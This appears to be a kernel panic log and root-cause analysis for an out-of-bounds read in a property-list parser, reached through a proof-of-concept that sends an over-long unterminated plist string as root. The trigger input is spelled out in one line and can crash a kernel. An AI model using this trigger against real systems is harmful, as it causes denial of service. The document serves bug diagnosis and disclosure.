=== DF-2227 panic signature (unpatched #0 kernel, root via /dev/udev UDEVPROP) ===
Trigger: ./oob_read_poc 60000   (<plist version=" + 59984 'A's, NO closing quote)
The runaway scan walked past buf[pref_len] NUL sentinel into an unmapped page.

Fatal trap 12: page fault while in kernel mode
cpuid = 2; lapic id = 2
fault virtual address	= 0xfffff8011864f000
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff809e114f
stack pointer	        = 0x10:0xfffff80117970678
frame pointer	        = 0x10:0xfffff80117970698
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 991
current thread          = pri 6 
kernel: type 12 trap, code=0

CPU2 stopping CPUs: 0x0000003b
 stopped
Stopped at      _prop_object_internalize_find_tag+0x32f:        cmpb    $0x22,(%rax)
db>

=== Analysis ===
- Faulting fn: _prop_object_internalize_find_tag (sys/libprop/prop_object.c:484)
- Faulting insn: cmpb $0x22,(%rax)  ==  the body of `while (*cp != '"') cp++;`
- %rax == cp == 0xfffff8011864f000 (page-aligned, the FIRST byte of the unmapped
  page immediately after the kmalloc(60001) buffer).
- fault code = "supervisor read data, page not present" = OOB READ into unmapped page.
- The loop has NO NUL check in its body; it walked past the NUL sentinel at
  buf[pref_len] (prop_kern.c:404) and kept scanning kernel VA until it faulted.